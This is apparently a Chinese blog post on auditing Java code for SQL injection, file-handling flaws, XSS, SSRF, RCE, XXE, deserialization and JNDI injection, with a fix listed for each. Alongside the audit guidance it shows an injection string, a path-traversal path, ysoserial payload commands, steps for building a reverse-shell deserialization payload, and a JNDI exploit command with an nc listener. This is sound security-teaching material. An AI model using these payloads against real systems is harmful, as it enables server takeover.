Java 代码审计

Java 代码审计

SQL 注入

JDBC

JDBC 是 Java 访问数据库的常用方式,SQL 注入通常出现在动态拼接 SQL 语句的场景中。

审计要点

  • 定位 SQL 语句:搜索代码中包含 SQL 查询的地方,通常涉及 StatementPreparedStatement

  • 检查参数拼接:检查 SQL 语句是否通过字符串拼接直接将用户输入拼接到查询中。

  • 检查参数过滤

    • 转义:检查是否对用户输入进行了适当的转义处理。
    • 强制类型:确保输入参数被强制转换为预期类型(如整数、字符串),避免恶意输入破坏 SQL 结构。

修复

  • 禁止直接拼接用户输入到 SQL 语句。
  • 实现输入验证和白名单过滤,限制用户输入的格式和内容。
  • 使用 ORM 框架(如 Hibernate、MyBatis)以减少手动拼接 SQL 的风险。
  • 使用 PreparedStatementCallableStatement 处理参数化查询。

MyBatis

MyBatis 是 Java 中常用的持久化框架,SQL 注入风险主要出现在动态 SQL 的处理中。

审计要点

  • ${}#{} 的区别

    • ${}:直接将变量值拼接到 SQL 语句中,存在 SQL 注入风险。例如:

      SELECT * FROM users WHERE username = ${userInput}
      

      如果 userInputadmin' OR '1'='1 会导致 SQL 注入。

    • #{}:使用 预处理 机制,自动对参数进行转义,防止 SQL 注入。例如:

      SELECT * FROM users WHERE username = #{userInput}
      
  • 表现形式

    • 注解形式:检查 MyBatis 注解(如 @Select)中的 SQL 语句,是否存在 ${}

      @Select("SELECT * FROM users WHERE username = ${username}")
      List<User> findUser(String username);
      
    • XML 形式:检查 MyBatis 的 XML 映射文件中是否存在 ${} 包裹的变量,或动态 SQL 是否分行。

  • 检查点

    • 搜索 ${} 的使用场景,确认是否为可控输入。
    • 检查是否存在白名单过滤或参数验证逻辑。

修复

  • 优先使用 #{} 进行参数绑定,尽量避免 ${}
  • 如果必须使用 ${}(如动态表名或列名),确保输入经过严格的白名单验证。
  • 在 MyBatis 配置文件中启用日志,记录实际执行的 SQL 语句,便于审计。

文件操作漏洞

任意文件读取

攻击者通过控制文件路径参数,读取服务器上的敏感文件(如配置文件、源代码等)。

审计要点

  • 检查文件读取接口:搜索涉及文件读取的类和方法,如 FileInputStreamFiles.readAllBytes 等。
  • 路径参数来源:检查文件路径是否来自用户输入,是否存在路径遍历(如 ../../etc/passwd)。
  • 过滤机制:检查是否对用户输入的路径进行了规范化或白名单限制。

修复

  • 对文件路径进行规范化处理,使用 Paths.get().normalize()
  • 限制文件访问范围到特定目录(如 /uploads/)。
  • 实现白名单机制,仅允许访问特定文件类型或名称。
  • 文件保存时,将文件名替换为随机字符串。

任意文件下载

通过控制文件下载接口的参数,攻击者可下载服务器上的任意文件。下载行为通常通过响应头 Content-Disposition: attachment 触发。

审计要点

  • 检查下载接口:搜索设置 Content-Disposition 的代码,确认文件路径来源。
  • 路径控制:检查是否允许用户输入控制下载文件路径。

修复

  • 对下载文件路径进行严格验证,限制在特定目录。
  • 使用白名单限制文件扩展名(如 .pdf.jpg)。
  • 避免直接将用户输入拼接进响应头,防止响应头注入。

文件上传

攻击者通过文件上传接口上传恶意文件(如 Webshell),从而控制服务器。

审计要点

  • 搜索上传接口:查找包含 upload 关键字的接口或方法,通常涉及 MultipartFileCommonsMultipartResolver

  • 文件类型检查

    • 检查是否对上传文件的扩展名、MIME 类型或内容进行了验证。
    • 注意:Java 网站无法直接解析 .java 文件,上传 .java 文件的 Webshell 无意义。
  • 上传方式

    • JSP 上传:如果目标使用 JSP(Java Server Page)写网站,检查是否允许上传 .jsp 文件,.jsp 文件可被解析为动态脚本。
    • 内存马:内存马无法通过单一文件上传实现,但需关注后续代码逻辑是否允许动态加载恶意代码。

修复

  • 实现严格的文件类型验证,限制上传文件扩展名(如 .jpg.png)。
  • 检查文件内容,防止伪造 MIME 类型。
  • 限制上传目录的执行权限,防止 .jsp 文件被解析。
  • 定期扫描上传目录,检测异常文件。
  • 使用 OSS。

XSS(跨站脚本攻击)

用户传入的参数被直接返回到了浏览器中,攻击者通过注入恶意脚本(如 JavaScript),在用户浏览器中执行,窃取用户数据或执行未授权操作。

审计要点

  • 检查用户输入输出:搜索用户输入是否直接返回到浏览器响应中。
  • 检查转义处理:查看是否使用了安全的输出编码库(如 OWASP ESAPI 或 Spring Security 的 HtmlUtils)。

修复

  • 对用户输入进行 HTML 转义,使用 HtmlUtils.htmlEscape() 或类似库。
  • 实现 Content Security Policy(CSP)限制脚本执行。
  • 对输出到 JavaScript 上下文的变量进行 JSON 编码。

SSRF(服务器端请求伪造)

攻击者通过控制服务器发起的请求 URL,访问内部网络资源或外部恶意服务。

审计要点

  • 检查 URL 输入:搜索涉及 HTTP 请求的代码(如 HttpURLConnection),确认 URL 是否来自用户输入。
  • 验证请求目标:检查是否对 URL 进行了白名单限制或协议过滤(如仅允许 httphttps)。

修复

  • 限制请求协议为 httphttps
  • 使用白名单限制目标域名或 IP。
  • 避免将用户输入直接用于构造请求 URL。

RCE(远程代码执行)

攻击者通过特定的类或方法执行系统命令,控制服务器。

审计要点

检查命令执行方法

  • 🌟 Runtime.getRuntime().exec()

    String cmd = request.getParameter("cmd");
    Runtime.getRuntime().exec(cmd);
    

    上述代码直接执行用户输入的命令,存在严重 RCE 风险。

  • ProcessBuilder.start()

  • Processlmplstart 方法(该类是 final 类,必须反射使用)。

  • Java JS 引擎 nashorn(让 Java 加载一个恶意的 JS 代码实现命令执行 )

  • GroovyShell.evaluate 执行用户输入。

Processlmplstart 方法是 ProcessBuilder.start() 的父类,ProcessBuilder.start()Runtime.getRuntime().exec() 的父类。

修复

  • 禁止直接执行用户输入的命令。
  • 对命令参数进行严格的白名单验证。
  • 定期更新依赖库,防止已知漏洞。

XXE(XML 外部实体注入)

攻击者通过构造恶意的 XML 输入,触发外部实体解析,读取服务器文件或发起网络请求。

审计要点

  • 检查 Java 解析 xml 相关的类/方法

    • XMLReader.parse
    • SAXReader.read
    • SAXParser.parse
    • SAXBuilder.build
    • DocumentBuilder.parse
    • DocumentBuilder createXMLStreamReader + Unmarshaller unmarshal
  • 外部实体配置:检查是否禁用了外部实体解析:

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    

    如果未禁用,可能导致 XXE。

修复

  • 禁用外部实体和 DTD 解析。
  • 使用安全的 XML 解析库(如 javax.xml.parsers)。
  • 对 XML 输入进行严格验证。

反序列化漏洞

攻击者通过构造恶意的序列化数据,利用 readObject 等方法触发恶意代码执行。

审计要点

  • 检查反序列化入口

    • ObjectInputStream.readObject:将字节码反序列化为内存中的对象。
    • XMLDecoder.readObject:XML 格式的反序列化。
    • SnakeYaml.Yaml.load:YAML 格式的反序列化。
  • 依赖库:检查项目是否使用了存在已知反序列化漏洞的库(如 Apache Commons Collections 等)。

工具

ysoserial

ysoserial 自带大部分 Java 反序列化利用链。

  • URLDNS 链:测试是否存在反序列化漏洞。

    java -jar ysoserial.jar URLDNS "http://test.dnslog.cn" | base64
    

    将生成的 Payload 提交到目标接口,观察 DNS 日志是否收到请求。

  • RCE 链:🌟 常用的链如 CommonsCollections 系列链(CC 链)、 CommonsBeanUtils 系列链(CB 链)、CommonsCollectionsK 系列链 (K1 链 、K2 链)等。

    java -jar ysoserial.jar CommonsCollections5 "CMD" | base64
    

截图示例

  • URLDNS 链: image-20250728195001518
  • RCE 反弹 Shell: image-20250728195057757

Java-Chains

ysoserial 利用链更多。

以生成 base64 编码的反弹 Shell 的 java 序列化 payload 为例:

  • 选择 JavaNativePayload。

  • 选择要使用的链,如 CommonsBeanUtils1。

  • 选择加载字节码。

  • 选择处理字节码

    • 一般使用默认选择 ByteCodeConvert (这个功能是为了绕过某些 WAF,正常的 Java 反序列化不需要,但是 java-chains 必须选)。
  • 选择是要执行命令还是反弹 Shell 或是其他。

    • 选择反弹 Shell 后,需要在 ReverseShell 配置项中配置攻击机 IP 地址和端口号。
  • 选择合适的编码,并点击生成按钮,即可生成 payload。

截图示例image-20250728200739164

修复

  • 避免直接反序列化用户输入。
  • 实现白名单机制,限制反序列化的类。
  • 更新依赖库到无漏洞版本。
  • 使用 SerialKiller 或类似工具限制反序列化类。

JNDI 注入

攻击者通过控制 JNDI 的 Context 类的 lookup 方法参数,触发远程代码加载或执行。

审计要点

  • 检查 JNDI 使用:搜索 Context.lookup 方法,确认参数是否来自用户输入。

    String jndiUrl = request.getParameter("jndi");
    InitialContext ctx = new InitialContext();
    ctx.lookup(jndiUrl);
    

    上述代码未验证 jndiUrl,可能导致 JNDI 注入。

  • 协议检查:关注 ldap://rmi:// 协议的使用。

工具 JNDI-Injection-Exploit

  • 使用工具生成 payload:

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 攻击机IP -C 反弹Shell的命令
    
  • 攻击机配置监听:

    nc -lvnp [port]
    
  • 使用 ldap://(轻型目录访问协议) 或 rmi://(远程方法调用协议)链接攻击目标服务器。

截图示例image-20250728203456993

修复

  • 禁止用户控制 JNDI 的 lookup 参数。
  • 限制 JNDI 协议为安全的内部服务。
  • 更新 JDK 到修复了 JNDI 漏洞的版本(如 JDK 8u191+)。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇